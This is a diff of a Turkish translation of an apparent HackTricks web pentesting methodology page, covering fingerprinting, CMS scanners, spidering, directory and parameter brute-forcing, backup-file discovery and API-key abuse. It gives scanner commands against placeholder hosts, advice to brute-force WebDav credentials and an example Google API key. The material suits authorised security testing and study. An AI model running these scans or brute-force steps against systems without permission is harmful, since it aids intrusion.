[ ] Sayfayı **spidering** ile taramaya başlayın: Tüm olası **dosyaları**, **klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca **özel bulgular** için kontrol edin. -- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, o dizin spidered edilmelidir._ -- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **dosyalar** ve **dizinler** aramak için brute force yapmayı deneyin. -- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, Brute-Forced yapılmalıdır._ -- [ ] **Backups checking**: Ortaya çıkan **dosyaların yedeklerini** yaygın yedek uzantıları ekleyerek bulup bulamayacağınızı test edin. -- [ ] **Brute-Force parameters**: Gizli parametreleri **bulmaya** çalışın. -- [ ] Tüm olası **endpoints** içinde **user input** kabul edenleri **tanımladıktan** sonra, bunlarla ilişkili tüm türde **vulnerabilities** için kontrol edin. -- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Öncelikle web sunucusu tarafından kullanılan **technologies**'i **identifying** edin. Teknolojiyi tespit edebilirseniz, testin geri kalanında aklınızda tutulması gereken **tricks**'lere bakın. +- [ ] Teknoloji sürümünün bilinen herhangi bir **known vulnerability** var mı? +- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **useful trick** var mı? +- [ ] Çalıştırılacak herhangi bir **specialised scanner** var mı (ör. wpscan)? +- [ ] **general purposes scanners** çalıştırın. Ne bulacaklarını veya ilginç bilgi elde edip etmeyeceklerini bilemezsiniz. +- [ ] **initial checks** ile başlayın: **robots**, **sitemap**, **404** error ve **SSL/TLS scan** (HTTPS ise). +- [ ] Web sayfasını **spidering** ile taramaya başlayın: Tüm olası **files, folders** ve **parameters being used**'i **find** etme zamanı. Ayrıca **special findings**'leri kontrol edin. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ +- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörleri yeni **files** ve **directories** arayarak brute force etmeyi deneyin. +- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ +- [ ] **Backups checking**: Yaygın yedek uzantıları ekleyerek **discovered files**'ın **backups**'larını bulup bulamayacağınızı test edin. +- [ ] **Brute-Force parameters**: Gizli parametreleri bulmaya çalışın. +- [ ] Tüm olası **endpoints** ve **user input** kabul edenleri **identified** ettikten sonra, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin. +- [ ] [Bu checklist'i takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Zayıf mı?) +## Sunucu Sürümü (Zafiyetli?) -### Tanımlama +### Tespit -Çalışan sunucu **sürümü** için herhangi bir **bilinen zafiyet** olup olmadığını kontrol edin.\ -Yanıtın **HTTP headers and cookies**'i, kullanılan **teknolojileri** ve/veya **sürümü** tespit etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) gibi araçlar da faydalı olabilir: +Çalışan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\ +Cevabın **HTTP headers and cookies of the response**'i, kullanılan **technologies** ve/veya **version**'ı **identify** etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ayrıca araçlar [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) da faydalı olabilir: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Herhangi bir WAF olup olmadığını kontrol edin** +### **Herhangi bir WAF olup olmadığını kontrol et** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) @@ -65,7 +65,7 @@ Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic- ### Web teknoloji tüyoları -Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak** için bazı **tüyolar**: +Kullanılan çeşitli iyi bilinen **teknolojilerde** **zafiyetleri bulmak** için bazı **ipuçları**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -102,18 +102,19 @@ Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ -Web uygulaması önceden listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, yeni hileleri **İnternette aramayı** unutmayın (ve bana bildirin!). +Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanıyor olabileceğini unutma.\ +Eğer web uygulaması önceden listelenmiş herhangi bir tanınmış **teknoloji/platform** veya **başka bir teknoloji** kullanıyorsa, **İnternette yeni taktikleri aramayı** unutma (ve bana haber ver!). -### Source Code Review +### Kaynak Kod İncelemesi -Eğer uygulamanın **source code**'u **github** üzerinde erişilebilirse, uygulama üzerinde kendi başınıza bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir: +Eğer uygulamanın **source code**'u **github** üzerinde erişilebiliyorsa, uygulamaya kendi başına bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir: -- Web üzerinden erişilebilir bir **Change-log** veya **Readme** ya da **Version** dosyası veya sürüm bilgisi içeren herhangi bir şey var mı? -- **Credentials** nasıl ve nerede saklanıyor? Erişilebilir herhangi bir **dosya** içinde credentials (kullanıcı adları veya parolalar) var mı? -- Parolalar düz metin mi, şifrelenmiş mi veya hangi **hashing** algoritması kullanılıyor? -- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi algoritma kullanılıyor? -- Bazı bir **vulnerability**'yi istismar ederek bu dosyalardan herhangi birine erişebilir misiniz? -- github'daki (çözülmüş veya çözülmemiş) **issues**'larda ilginç bilgiler var mı? Veya commit geçmişinde (belki eski bir commit içinde tanımlanmış bir parola) ilginç bir şey çıkıyor mu? +- Web üzerinden erişilebilen herhangi bir **Change-log or Readme or Version** dosyası veya **erişilebilir sürüm bilgisi** var mı? +- **Credentials** nasıl ve nerede saklanmış? Kimlik bilgilerini içeren (erişilebilir?) herhangi bir **dosya** (kullanıcı adları veya parolalar) var mı? +- **Parolalar** düz metin mi, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor? +- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi **algoritma** kullanılıyor? +- Herhangi bir zafiyeti kullanarak **bu dosyalara erişebiliyor musun**? +- **Github**'da ilginç bilgiler var mı (çözülen ve çözülmeyen) **issues**? Veya **commit history**'de (ör. eski bir commit içinde bazı **parolalar** eklenmiş olabilir)? {{#ref}} @@ -134,12 +135,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS tarayıcıları +#### CMS tarama araçları -Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki ilginç bir şey bulunur: +Bir CMS kullanılıyorsa **scanner çalıştırmayı** unutmayın, belki ilginç bir şey bulunur: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerini güvenlik sorunları için tarar. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +150,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Bu noktada, istemcinin kullandığı web sunucusu hakkında (veri verildiyse) bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner'lar çalıştırmışsınızdır. +> Bu noktada, müşteri tarafından kullanılan web sunucusu hakkında (veri verildiyse) zaten bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bir scanner çalıştırmışsınızdır. -## Adım adım Web Uygulama Keşfi +## Adım Adım Web Uygulaması Keşfi > Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız. ### İlk kontroller -**İlginç bilgi içerebilecek varsayılan sayfalar:** +**İlginç bilgi içeren varsayılan sayfalar:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Ana ve ikincil sayfalardaki yorumları da kontrol edin. +- Ayrıca ana ve ikincil sayfalardaki yorumları kontrol edin. **Hataları zorlamak** -Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin açığa çıkmasına** yol açabilir. +Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **zafiyetlere** veya **hassas bilgilerin ifşasına** yol açabilir. - /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin -- **"\[]", "]]", ve "\[\["** ifadelerini **cookie values** ve **parameter** values içine ekleyin, hata oluşturmak için -- Hata üretmek için input'u URL'nin **sonuna** **`/~randomthing/%s`** olarak verin -- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın +- Hata oluşturmak için **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin +- **URL**'in **sonuna** **`/~randomthing/%s`** gibi bir girdi vererek hata oluşturun +- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış olanları deneyin #### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Eğer **WebDav**'in **enabled** olduğunu fakat root klasörüne **uploading files** için yeterli izinleriniz olmadığını görürseniz şunları deneyin: +Eğer **WebDav**'in **etkin** olduğunu fakat root klasörüne **dosya yükleme** için yeterli izniniz olmadığını tespit ederseniz, şunları deneyin: -- **Brute Force** credentials -- Web sayfası içindeki bulunan diğer klasörlere **Upload files** via WebDav yapın. Diğer klasörlere dosya yükleme izniniz olabilir. +- **Brute Force** ile kimlik bilgilerini kırın +- WebDav ile web sayfasında bulunan diğer klasörlere **dosya yükleyin**. Diğer klasörlere yükleme izniniz olabilir. ### **SSL/TLS zafiyetleri** -- Uygulama herhangi bir bölümde **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM'e karşı açıktır** -- Uygulama **hassas verileri (parolalar) HTTP üzerinden gönderiyorsa**, bu yüksek riskli bir zafiyettir. +- Eğer uygulama herhangi bir kısımda kullanıcıyı **HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'e karşı zayıftır +- Eğer uygulama **hassas verileri (parolalar) HTTP kullanarak gönderiyorsa**, bu yüksek bir zafiyettir. -Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın: +Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmez) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,51 +204,51 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Web uygulaması üzerinde bir çeşit **spider** çalıştırın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca çok yol **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır. +Web içinde bir tür **spider** başlatın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca fazla yolu **bulmaktır**. Bu yüzden, web crawling ve dış kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org'u harici kaynak olarak kullanır. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider; ayrıca "juicy files" gösterir. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve harici kaynak olarak Archive.org ile. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar. -- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirsiniz; meg her host üzerindeki her path'i çeker ve yanıtı kaydeder. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yetenekli HTML spider. Ancak bakımı yapılmıyor gibi görünüyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor. -- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML spider (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Parametre içeren URL'leri bulur ve listeler. -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yetenekli HTML spider. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider; JS beautify yetenekleriyle JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) incelenmeye değer. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem gömülü javascript dosyalarından endpoint'leri çıkarmak için. Bug hunters, red teamer'lar ve infosec uzmanları için kullanışlı. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından relatif URL'leri parse etmek için Tornado ve JSBeautifier kullanan python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımı yapılmıyor gibi görünüyor. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) regex kullanarak minified dosyalardan relatif URL'leri bulup çıkarır. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): JS dosyalarından birkaç araç kullanarak ilginç bilgiler toplar. +- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve yollar içeren bir dosya belirtirsiniz; meg her host üzerindeki her yolu fetch eder ve yanıtı kaydeder. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render etme yeteneklerine sahip HTML spider. Ancak bakılmıyor gibi, ön-derlenmiş sürümü eski ve mevcut kod derlenmiyor. +- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametre içeren URL'leri bulur ve listeler. +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render etme yeteneklerine sahip HTML spider. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify yetenekleri ile JS dosyalarında yeni yollar arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner)'a bakmaya değer. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem gömülü javascript dosyalarında endpoint'leri çıkarmak için. Bug avcıları, red team ve infosec uzmanları için kullanışlı. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan, JavaScript dosyalarından relative URL'leri parse eden bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için kullanışlı. Bakılmıyor gibi. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) nispi URL'leri çıkarmak için kullanışlı regex ile minify edilmiş dosyalardan URL çıkarır. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birçok araç kullanarak JS dosyalarından ilginç bilgileri toplar. - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için kullanılan tüm URL'leri yazdırır. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan içerik keşif aracı. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve parametreleri bulmak için bir Burp extension. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si sayesinde beautified JS kodunu elde eden araç. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Verilen hedef için endpoint'leri keşfetmek amacıyla kullanılan araç. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine'den linkleri keşfeder (wayback'teki yanıtları indirip daha fazla link arar). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve özel regex'lerle hassas bilgi bulur. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Crawler/Spider. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut-satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, fuzzing ve enumeration için özel wordlist oluşturmak amacıyla isteklerden parametreleri ve endpoint'leri çıkarmak üzere basit bir Burp Suite extension'ıdır. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için çağrılan tüm url'leri yazdırır. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan content discovery aracı. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp eklentisi. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde beautified JS kodunu almanızı sağlayan araç. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmekte kullanılan bir araç. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link keşfi (ayrıca wayback'teki yanıtları indirip daha fazla link arama). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (form doldurarak bile) yapar ve belirli regex'lerle hassas bilgileri de bulur. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web security Crawler/Spider. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, yollar, secret'lar ve diğer ilginç verileri çıkarmak için Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, isteklerden parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için özelleştirilmiş wordlist oluşturur. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Bu iş için harika bir araç. - [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır. ### Brute Force directories and files -Kök dizinden **brute-forcing** ile başlayın ve bu yöntemle bulunan tüm dizinleri ve **Spidering** ile keşfedilen tüm dizinleri **brute-force** yaptığınızdan emin olun (bunu **rekürsif** olarak yapabilir ve bulunan dizinlerin adlarını kullanılan wordlist'in başına ekleyebilirsiniz).\ -Tools: +Kök klasörden **brute-forcing** başlatın ve **tüm** bulunan **directory'leri** bu **method** ile ve **Spidering** tarafından keşfedilen tüm directory'leri **brute-force** ettiğinizden emin olun (bunu **recursive** olarak yapabilir ve kullanılan wordlist'in başına bulunan directory isimlerini ekleyebilirsiniz).\ +Araçlar: -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Auto-signed sertifikalara izin verir ve recursive arama yapar. Diğer seçeneklere göre çok yavaş. +- **Dirb** / **Dirbuster** - Kali içinde gelir, **eski** (ve **yavaş**) ama iş görür. Auto-signed sertifikalara ve recursive aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermez ama recursive aramaya izin verir. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir; **recursive** arama yok. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir, ancak **recursive** arama özelliği **yoktur**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive aramayı destekler.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil; bulunan URL listesini alıp "çift" URL'leri silen bir araç. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension; farklı sayfaların burp geçmişinden dizin listesi oluşturur. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına göre fonksiyonu tekrar eden URL'leri kaldırır. -- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak wordlist'leri seçmek için wapalyzer kullanır. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicate" URL'leri siler. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden directory listesi oluşturmak için Burp Extension. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına dayanarak fonksiyonel olarak duplicate olan URL'leri kaldırır. +- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer kullanarak kullanılan teknolojileri tespit eder ve kullanılacak wordlist'leri seçer. **Recommended dictionaries:** @@ -268,41 +269,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin mutlaka brute-force edilmelidir._ +_Her yeni directory spidering veya brute-forcing sırasında keşfedildiğinde, o directory mutlaka Brute-Forced edilmelidir._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki kırık linkleri bulur; takeover'a açık olabilecek linkleri tespit eder. -- **File Backups**: Tüm dosyaları bulduktan sonra, yürütülebilir dosyaların (".php", ".aspx"...) yedeklerini arayın. Yedekleme için yaygın isimlendirme çeşitleri: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) veya [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz. -- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) ve [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçlar kullanılabilir. Mümkünse her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulur; bu linkler takeover'a açık olabilir. +- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek adlandırma için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz. +- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri aramayı deneyin. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Tüm dosyaların yorumlarını kontrol edin; credential'lar veya gizli fonksiyonlar bulunabilir. -- Eğer **CTF** oynuyorsanız, yaygın bir hile sayfa kaynağında sayfanın sağ tarafına (çokça boşluk kullanarak) veya sayfanın en altına bir yorum içinde bilgi saklamaktır; tarayıcıda görüntülemek zor olabilir. -- **API keys**: Bir API key bulursanız, farklı platformlardaki API key'lerin nasıl kullanılacağını gösteren rehberler var: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: **AIza** ile başlayan bir API key bulursanız (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişimi olduğunu kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. -- **S3 Buckets**: Spidering sırasında herhangi bir subdomain veya link'in bir S3 bucket ile ilişkili olup olmadığını kontrol edin. Böyle bir durum varsa, bucket'ın [**permissions**'ını kontrol edin](buckets/index.html). +- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **gizli fonksiyonlar** bulunabilir. +- Eğer **CTF** oynuyorsanız, yaygın bir taktik sayfa kaynağında tarayıcıyla görünmeyecek şekilde (örneğin sağa yüzlerce **space** koyarak) yorum içinde **bilgi saklamak** veya sayfanın en altına birkaç yeni satırla yorum içinde bilgi gizlemek olabilir. +- **API keys**: Herhangi bir API key bulursanız farklı platformların API key'lerini nasıl kullanacağınıza dair rehberler vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** 